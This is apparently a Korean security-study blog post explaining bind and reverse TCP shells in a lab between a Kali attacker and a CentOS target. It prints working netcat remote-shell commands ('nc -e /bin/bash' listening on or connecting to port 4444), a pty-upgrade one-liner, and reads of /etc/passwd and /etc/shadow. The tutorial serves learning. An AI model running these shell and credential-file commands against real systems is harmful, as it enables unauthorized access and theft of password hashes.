Bind&Reverse TCP

oogu ㅣ 2022. 6. 30. 23:09

@ 01_Bind&Reverse TCP

1. Bind TCP

 - 공격자가 타겟으로 TCP Syn를 전송하여 TCP 연결을 실시하는 공격이다.
 - 이때, 타겟은 특정 포트에 대해서 TCP 연결 대기 상태(Listen)가 되어야 한다. (Ex : 백도어)
 - 타겟이 공인 IP 환경이라면 Bind TCP 공격이 가능하지만, 사설 IP 환경이라면 공격이 불가능하다. -> 타겟 ip를 알 수 없     기 때문에
 - 단, 포트 포워딩(정적 NAT)이 구성된 서버 및 시스템은 공격이 가능하다.
 - (Ex : 백도어) - tcp 4444 를 open할 수 있게 악성코드를 타겟에 삽입 후 Bind TCP 공격을 한다.
 - TCP 연결이 성공하면 Telnet, ssh 처럼 사용할 수 있다.


공격자                                          타켓(TCP 포트 4444 Listen)
Kali Linux                                      CentOS
Syn ->
                                                     <- Syn+Ack
Ack ->
                       TCP 연결 성립


2. Reverse TCP

 - 타켓이 공격자쪽으로 TCP Syn를 전송하여 TCP 연결을 실시하는 공격이다.
 - 이때, 공격자는 특정 포트에 대해서 TCP 연결 대기 상태(Listen)가 되어야 한다.
 - 내부 타겟이 사설 or 공인 IP 환경에서 사용이 가능하다.

 - 타겟이 공격자한테 포트번호 4444로 syn를 보낼수있게 악성코드를 삽입한다.(EX.백도어)

공격자(TCP 포트 4444 Listen)                            타켓
Kali Linux                                                             CentOS
                                                                            <- Syn
Syn+Ack ->
                                                                            <- Ack
                                TCP 연결 성립


[참고] nc(netcat)

 - 참고 사이트 : https://en.wikipedia.org/wiki/Netcat

 -n 도메인 이름 대신에 번호(IP 주소/포트 번호)로 출력 
 -v  상세 정보 출력
 -p  대기 포트 지정
 -l TCP 대기 상태 설정


Ex1) Bind TCP 이해

공격자 타겟
Kali Linux(192.168.20.50)                     CentOS(192.168.20.200)
Syn ->                                                    TCP Port 4444 대기 상태


 - CentOS에서 'nc'를 이용하여 TCP 포트 4444 연결 대기 상태로 설정한다. 

[root@CentOS /root]# ls
[root@CentOS /root]# cd nc
[root@CentOS /root/nc]# ls



[root@CentOS /root/nc]# ./nc -e /bin/bash -vlp 4444 &



 
 - CentOS에서 TCP 포트 4444 연결 대기 상태를 확인한다.

[root@CentOS /root]# netstat -nltp | head -2 ; netstat -nltp | grep 4444


타겟 포트번호 4444가 LISTEN 상태이다.

 - Kali에서 TCP Syn를 전송하여 Bind TCP 연결을 실시한다.

root@kali:~# nc 192.168.20.200 4444
id
whoami
pwd
uname -a
python -c 'import pty;pty.spawn("/bin/bash")'

TCP 연결이 성공한 후 마치 Telnet, ssh 연결이 된것처럼 보인다.

[root@CentOS /root/nc]# cat /etc/passwd
[root@CentOS /root/nc]# cat /etc/shadow
위와같이 정보 확인도 가능하다.


 - CentOS에서 TCP 포트 4444 연결 상태를 확인한다.

[root@CentOS /root]# netstat -ntp | head -2 ; netstat -ntp | grep 4444

4444포트가 ESTABLISHED이다.


 - Kali에서 nc 프로세스를 종료한다.

[root@CentOS /root/nc]# (Ctrl+C)
root@kali:~# 



Ex2) Reverse TCP 이해

공격자                                            타겟
Kali(192.168.20.50)                        CentOS(192.168.20.200)
TCP Port 4444 대기 상태                <- Syn


 - Kali에서 'nc'를 이용하여 TCP 포트 4444 연결 대기 상태로 설정한다. 

root@kali:~# nc -nvlp 4444




 - Kali에서 다른 터미널창을 이용하여 TCP 포트 4444 연결 대기 상태를 확인한다.

root@kali:~# netstat -nltp 

 4444 포트가 LISTEN 상태이다.


 - CentOS에서 TCP Syn를 전송하여 Reverse TCP 연결을 실시한다.

[root@CentOS /root/nc]# ./nc -e /bin/bash 192.168.20.50 4444


 - Kali에서 Reverse TCP 연결 상태를 확인한다.


root@kali:~# nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.20.50] from (UNKNOWN) [192.168.20.200] 36966

id
whoami
pwd
uname -a
python -c 'import pty;pty.spawn("/bin/bash")'


[root@CentOS /root/nc]# cat /etc/passwd
[root@CentOS /root/nc]# cat /etc/shadow 

TCP 연결이 성공한 후 마치 Telnet, ssh 연결이 된것처럼 보인다.

 - Kali에서 다른 터미널창을 이용하여 TCP 포트 4444 연결 상태를 확인한다.

root@kali:~# netstat -ntp




 - Kali에서 nc 프로세스를 종료한다.

[root@CentOS /root/nc]# (Ctrl+C)
root@kali:~# 

'시스템 보안' 카테고리의 다른 글

레지스터 구조  (0) 2022.07.06
Metasploit  (0) 2022.07.04
Bash Shellshock 취약점  (0) 2022.07.03
nmap 스캔 도구  (0) 2022.07.02